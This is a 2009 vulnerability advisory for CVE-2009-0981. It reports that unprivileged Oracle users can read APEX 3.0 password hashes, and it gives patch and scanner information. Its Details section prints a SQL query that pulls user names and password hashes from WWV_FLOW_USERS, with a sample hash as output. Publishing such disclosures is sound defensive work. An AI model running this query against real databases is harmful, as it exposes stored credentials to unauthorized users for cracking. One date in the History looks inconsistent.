APEX Password Hash Disclosure

`Name Unprivileged DB users can see APEX password hashes  
Systems Affected APEX 3.0 (optional component of 11.1.0.7 installation)  
Severity High Risk  
Category Password Disclosure  
Vendor URL http://www.oracle.com/  
Author Alexander Kornbrust (ak at red-database-security.com)  
CVE CVE-2009-0981  
Advisory 14 April 2009 (V 1.00)  
  
  
Details:  
Unprivileged database users can see APEX password hashes in FLOWS_030000.WWV_FLOW_USER.  
  
SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS  
  
USER_NAME WEB_PASSWORD2  
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YURI 141FA790354FB6C72802FDEA86353F31  
  
This password hash can be checked using a tool like Repscan.  
  
  
Additional information is available in the following advisory.  
  
  
Advisory:  
http://www.red-database-security.com/advisory/apex_password_hashes.html  
  
  
Patch Information:  
Upgrade to Oracle APEX 3.2.  
  
  
Verification:  
Our Oracle database scanner Repscan was updated with the information from the Oracle  
CPU April 2009 and can identify vulnerable databases.   
More Information about Repscan can be found here:  
http://www.sentrigo.com/repscan  
  
  
History:  
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]  
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]  
14-apr-2009 Advisory published  
  
  
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